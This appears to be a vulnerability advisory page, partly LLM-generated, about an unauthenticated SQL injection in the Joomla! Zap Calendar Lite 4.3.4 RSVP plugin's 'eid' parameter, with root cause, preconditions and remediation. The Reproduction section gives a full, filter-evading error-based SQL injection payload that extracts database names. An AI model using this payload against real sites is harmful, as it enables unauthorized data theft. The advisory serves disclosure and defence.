Joomla! Component Zap Calendar Lite 4.3.4 SQL Injection
Description
Joomla! Component Zap Calendar Lite 4.3.4 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'eid' parameter. Attackers can send GET requests to the RSVP plugin endpoint with crafted SQL payloads to extract sensitive database information including database names and table structures.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
1- Range: = 4.3.4
Patches
Vulnerability mechanics
Root cause
"Missing input sanitization on the 'eid' parameter allows SQL injection."
Attack vector
An unauthenticated attacker sends a crafted GET request to the RSVP plugin endpoint, injecting SQL commands through the `eid` parameter [ref_id=1]. The payload uses obfuscation techniques such as `/*!00000sELeCT*/` to bypass simple filters and leverages `AND`, `CONCAT`, `RAND`, and `GROUP BY` to extract database names and table structures via error-based or conditional responses. The attack requires no authentication and is performed over HTTP.
Affected code
The SQL injection occurs in the Joomla! Zap Calendar Lite component version 4.3.4, specifically in the RSVP plugin endpoint accessed via `index.php?option=com_zcalendar&view=plugin&name=rsvp&task=rsvpform`. The `eid` parameter is passed unsanitized into SQL queries, allowing injection of arbitrary SQL commands.
What the fix does
The advisory does not include a patch diff or vendor fix. Remediation would require parameterizing the `eid` value in the SQL query or applying proper input validation and escaping within the RSVP plugin's database interaction code. Without a published fix, users should disable or remove the component until a patched version is released.
Preconditions
- configThe Zap Calendar Lite component must be installed and enabled on the Joomla! site.
- networkThe attacker must be able to reach the RSVP plugin endpoint over HTTP.
- authNo authentication is required; the endpoint is publicly accessible.
- inputThe attacker controls the `eid` GET parameter value.
Reproduction
Send a GET request to `http://localhost/[PATH]/index.php?option=com_zcalendar&view=plugin&name=rsvp&task=rsvpform&user=&eid=[SQL]` where `[SQL]` is a crafted injection payload such as `1++aND(/*!00000sELeCT*/+0x30783331+/*!00000FrOM*/+(/*!00000SeLeCT*/+cOUNT(*),/*!00000CoNCaT*/((sELEcT(sELECT+/*!00000CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)&format=raw` [ref_id=1].
Generated on Jun 20, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- www.exploit-db.com/exploits/42500mitreexploit
- www.vulncheck.com/advisories/joomla-component-zap-calendar-lite-sql-injectionmitrethird-party-advisory
- extensions.joomla.org/extensions/extension/calendars-a-events/events/zap-calendar-lite/mitreproduct
- zcontent.netmitreproduct
News mentions
0No linked articles in our index yet.